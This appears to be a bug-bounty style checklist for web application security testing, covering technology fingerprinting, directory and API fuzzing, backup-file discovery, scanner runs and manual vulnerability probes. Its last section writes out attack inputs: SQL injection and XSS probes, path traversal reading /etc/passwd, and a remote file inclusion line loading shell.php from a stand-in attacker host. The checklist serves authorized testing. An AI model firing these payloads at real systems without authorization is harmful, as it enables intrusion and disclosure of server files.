bb-web

Web Application Testing

Overview

Comprehensive web application security testing including reconnaissance, vulnerability identification, and exploitation guidance.

Phase 1: Technology Fingerprinting

Identify Stack

# Whatweb for technology detection
whatweb -a 3 <URL>

# Wappalyzer-style detection
curl -sI <URL> | grep -i "server\|x-powered-by\|x-aspnet"

# Check for common CMS
curl -s <URL>/wp-login.php | head -5  # WordPress
curl -s <URL>/administrator/ | head -5  # Joomla
curl -s <URL>/admin/ | head -5  # Generic admin
curl -s <URL>/user/login | head -5  # Drupal

Check Headers

# Security headers analysis
curl -sI <URL> | grep -iE "x-frame|x-xss|x-content-type|content-security|strict-transport"

Phase 2: Directory Discovery

Standard Fuzzing

# Gobuster with extensions
gobuster dir -u <URL> -w /usr/share/wordlists/dirb/common.txt \
    -x php,html,txt,bak,zip,tar.gz,config,xml,json \
    -o web/gobuster.txt

# Feroxbuster recursive
feroxbuster -u <URL> -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
    -x php,html,txt,bak -d 2 -o web/ferox.txt

API Discovery

# API endpoints
gobuster dir -u <URL>/api -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt

# Swagger/OpenAPI
curl -s <URL>/swagger.json
curl -s <URL>/api-docs
curl -s <URL>/openapi.json

Backup Files

# Common backup patterns
for ext in bak old orig backup ~; do
    curl -s -o /dev/null -w "%{http_code} - <URL>/index.php.$ext\n" <URL>/index.php.$ext
done

Phase 3: Vulnerability Scanning

Nikto

nikto -h <URL> -o web/nikto.txt

Nuclei (if installed)

nuclei -u <URL> -t cves/ -o web/nuclei.txt

Manual Checks

# SQL Injection test points
curl "<URL>/page?id=1'"
curl "<URL>/page?id=1 AND 1=1"
curl "<URL>/page?id=1 AND 1=2"

# XSS test
curl "<URL>/search?q=<script>alert(1)</script>"

# LFI test
curl "<URL>/page?file=../../../etc/passwd"
curl "<URL>/page?file=....//....//....//etc/passwd"

# RFI test
curl "<URL>/page?file=http://attacker.com/shell.php"